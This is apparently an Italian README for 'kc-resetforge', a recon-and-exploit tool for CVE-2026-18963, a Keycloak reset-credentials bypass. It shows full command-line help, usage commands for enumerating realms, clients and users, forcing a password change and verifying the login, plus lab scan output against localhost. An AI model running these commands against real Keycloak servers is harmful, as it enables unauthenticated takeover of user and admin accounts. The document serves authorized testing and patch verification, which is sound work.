
Strumento di rilevamento e verifica per CVE-2026-18963, un bypass dello stato reset-credentials in Keycloak. Esegue il fingerprinting della versione, l'enumerazione di realm/client/utenti e verifica se la precondizione del token di azione è applicata, per valutazioni autorizzate.
https://github.com/user-attachments/assets/005fab89-339a-4e4e-881c-da6a626f6c9e
python3 kc-resetforge.py -h
usage: kc-resetforge.py [-h] [--target TARGET] [--targets-file TARGETS_FILE] [--port PORT] [--realm REALM]
[--client-id CLIENT_ID] [--username USERNAME] [--new-password NEW_PASSWORD] [--skip-enum]
[--enum-only] [--kc-version] [--kc-reset-link] [--corpus-dir CORPUS_DIR] [--label LABEL]
[--enum-realms] [--no-enum-realms] [--enum-clients] [--no-enum-clients] [--enum-users]
[--no-enum-users] [--realm-wordlist REALM_WORDLIST] [--client-wordlist CLIENT_WORDLIST]
[--user-wordlist USER_WORDLIST] [--enum-users-client-id ENUM_USERS_CLIENT_ID]
[--verify-login] [--no-verify-login] [--verify-client-id VERIFY_CLIENT_ID]
[--timeout TIMEOUT] [--request-delay REQUEST_DELAY] [--output-dir OUTPUT_DIR]
[--proxy PROXY] [-d] [-y] [--json-out JSON_OUT]
CVE-2026-18963 Keycloak framework di recon + exploit (solo infrastruttura propria)
options:
-h, --help mostra questo messaggio di aiuto ed esce
--target TARGET Singolo target: host/IP nudo, host:porta, o un URL completo http(s)://host[:porta]. Schema e
porta vengono rilevati automaticamente se omessi (prova https poi http; default 443/80 rispettivamente).
Mutuamente esclusivo con --targets-file.
--targets-file TARGETS_FILE
Percorso di un file con un target per riga, stessi formati flessibili di --target (commenti '#'
consentiti). Esegue recon+exploit contro ogni target a turno.
--port PORT Sovrascrive la porta per --target (o un fallback per le righe di --targets-file senza porta propria).
Le porte per-riga in --targets-file hanno sempre precedenza.
--realm REALM Realm da colpire. Se omesso, selezionato automaticamente dai risultati del recon.
--client-id CLIENT_ID
client_id OIDC da usare. Se omesso, selezionato automaticamente dai risultati del recon.
--username USERNAME Username da colpire. Se omesso, selezionato automaticamente dai risultati del recon.
--new-password NEW_PASSWORD
Password da impostare per l'utente target (default: 'Test123!')
--skip-enum Salta completamente il recon; --realm/--client-id/--username diventano obbligatori.
--enum-only Esegue il recon e stampa i risultati, ma non tenta lo sfruttamento.
--kc-version Esegue solo la fase di recon della versione di Keycloak (fingerprint + corrispondenza corpus + stato patch) ed
esce - salta completamente l'enumerazione di realm/client/utente e lo sfruttamento. Funziona sia con
--target che con --targets-file.
--kc-reset-link Controlla solo se il flusso self-service di reset password ('Password dimenticata?' /
resetPasswordAllowed) è esposto, poi esce - una singola GET non distruttiva, nessun username
necessario. Scopre automaticamente realm/client tramite un leggero recon di realm+client a meno che --realm/--client-
id non siano forniti esplicitamente. Salta lo sfruttamento. Funziona sia con --target che con --targets-file.
--corpus-dir CORPUS_DIR
Directory delle impronte di versioni note per la corrispondenza esatta della versione (default:
kc_version_corpus).
--label LABEL Salva l'impronta di QUESTO target nel corpus sotto questa etichetta di versione invece di confrontare
una versione sconosciuta. Da usare su un'istanza di versione nota.
--enum-realms Enumera i nomi dei realm (default: attivo durante il recon).
--no-enum-realms
--enum-clients Enumera gli ID client per realm (default: attivo durante il recon).
--no-enum-clients
--enum-users Enumera gli username per realm (default: attivo durante il recon).
--no-enum-users
--realm-wordlist REALM_WORDLIST
--client-wordlist CLIENT_WORDLIST
--user-wordlist USER_WORDLIST
--enum-users-client-id ENUM_USERS_CLIENT_ID
Client usato per il probe direct-grant di enumerazione username (default: admin-cli).
--verify-login Dopo un cambio password, conferma le nuove credenziali tramite una richiesta di token password-grant
(default: attivo).
--no-verify-login
--verify-client-id VERIFY_CLIENT_ID
Client usato per la verifica del password grant.
--timeout TIMEOUT
--request-delay REQUEST_DELAY
Secondi di attesa prima di ogni richiesta nella catena di exploit (default: 0.4). Lo stato del
flusso di login di Keycloak può essere sensibile ai tempi attraverso i passaggi di reset/riavvio/riproduzione del selettore;
un piccolo ritardo rende la catena più affidabile. 0 per disabilitare.
--output-dir OUTPUT_DIR
--proxy PROXY Instrada attraverso un proxy HTTP(S): 'burp' (scorciatoia per 127.0.0.1:8080), un host:porta nudo, o un
URL completo http(s)://.
-d, --debug Logging di debug verboso di richieste/risposte/probe di enumerazione
-y, --yes Salta il prompt 'Continuare con questo target?'. Richiesto per l'uso non interattivo (script,
--targets-file con più target, CI).
--json-out JSON_OUT Scrive un report JSON dei risultati di recon + exploit in questo percorso.
kc-resetforge — CVE-2026-18963 Keycloak strumento di recon + exploit (solo infrastruttura propria)
Usage
-----
Completamente automatico (recon -> selezione automatica target -> exploit -> verifica):
python3 kc-resetforge.py --target https://localhost:9990 --proxy burp -d
Solo recon:
python3 kc-resetforge.py --target https://localhost:9990 --enum-only -d
Solo controllo versione + stato patch, su molti host:
python3 kc-resetforge.py --targets-file targets.txt --kc-version
Salta il recon, colpisci direttamente:
python3 kc-resetforge.py --target https://localhost:9990 --realm master \
--client-id account --username admin --skip-enum
Richiede: requests, beautifulsoup4, e opzionalmente rich (pip install --break-system-packages)
26.7.226.4.15-1 / immagini 26.4-2326.6.6-1 / immagini 26.6-12kc-resetforge è uno strumento di rilevamento/verifica. Conferma se il flusso reset-credentials di un target applica correttamente la precondizione del token di azione (corretto) o meno (vulnerabile), per l'uso in valutazioni autorizzate. L'analisi collegata di seguito copre il meccanismo e la metodologia di riproduzione alla profondità appropriata per la divulgazione pubblica.
Analisi completa: Forging kc-resetforge: Turning CVE-2026-18963 Into a Repeatable Check
kc-resetforge.py non può chiedere a Keycloak "che versione sei?", non esiste un endpoint pre-autenticazione che risponda a questo. Invece rileva l'impronta di un target (campi di risposta, hash di asset statici, favicon) e la confronta con un corpus di impronte che hai già etichettato con una versione nota. Nessuna voce del corpus per quell'impronta = nessuna versione esatta, per progettazione, non un bug.
Costruisci il corpus una volta per ogni versione a cui hai accesso:
python3 kc-resetforge.py --target https://known-26.6.2-host --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://known-26.7.2-host --kc-version --label 26.7.2
[snip]
Il mio laboratorio:
python3 kc-resetforge.py --target https://localhost:9990 --kc-version --label 26.6.2
python3 kc-resetforge.py --target https://localhost:9991 --kc-version --label 26.6.3
python3 kc-resetforge.py --target https://localhost:9992 --kc-version --label 26.6.4
python3 kc-resetforge.py --target https://localhost:9993 --kc-version --label 26.7.0
python3 kc-resetforge.py --target https://localhost:9994 --kc-version --label 26.7.1
python3 kc-resetforge.py --target https://localhost:9995 --kc-version --label 26.7.2
Recon:
python3 kc-resetforge.py --targets-file targets.txt --kc-version --kc-reset-link --proxy 127.0.0.1:8080
[snip]
[*] Proxying through: http://127.0.0.1:8080
[+] Run Summary
Targets scanned
┏━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━┓
┃Target ┃ Keycloak Version ┃ Patch ┃ Reset Link ┃ Result ┃
┡━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━┩
│https://localhost:9990 │ 26.6.2 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9991 │ 26.6.3 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9992 │ 26.6.4 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9993 │ 26.7.0 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9994 │ 26.7.1 │ VULNERABLE │ ENABLED │ checked│
│https://localhost:9995 │ 26.7.2 │ PATCHED │ ENABLED │ checked│
└───────────────────────┴──────────────────┴────────────┴────────────┴────────┘
Le voci vengono salvate accanto allo script, in kc_version_corpus/, quindi persistono indipendentemente dalla directory da cui esegui lo strumento, non eliminare quella cartella.
Controlla cosa c'è nel corpus:
ls kc_version_corpus/
Una volta etichettato, ogni scansione futura corrisponderà automaticamente:
python3 kc-resetforge.py --target https://target --kc-version
python3 kc-resetforge.py --targets-file targets.txt --kc-version
Questo progetto è fornito strettamente per:
Non eseguire questo strumento contro qualsiasi sistema che non possiedi o per il quale non hai esplicita autorizzazione scritta al test. L'uso non autorizzato contro infrastrutture di terze parti è illegale e al di fuori dello scopo previsto di questo progetto. Il manutentore non si assume alcuna responsabilità per l'uso improprio.
| Campo | Valore |
|---|
| CVE | CVE-2026-18963 |
| Gravità | Critica |
| CVSS | 9.1 |
| CWE | CWE-640 (Meccanismo Debole di Recupero Password) |
| Componente | Keycloak — flusso di autenticazione reset-credentials |
| Impatto | Account takeover non autenticato, a interazione zero (inclusi account admin) |
| Versione Corretta | Keycloak 26.7.2 (upstream) / RHBK 26.4.15-1, 26.6.6-1 |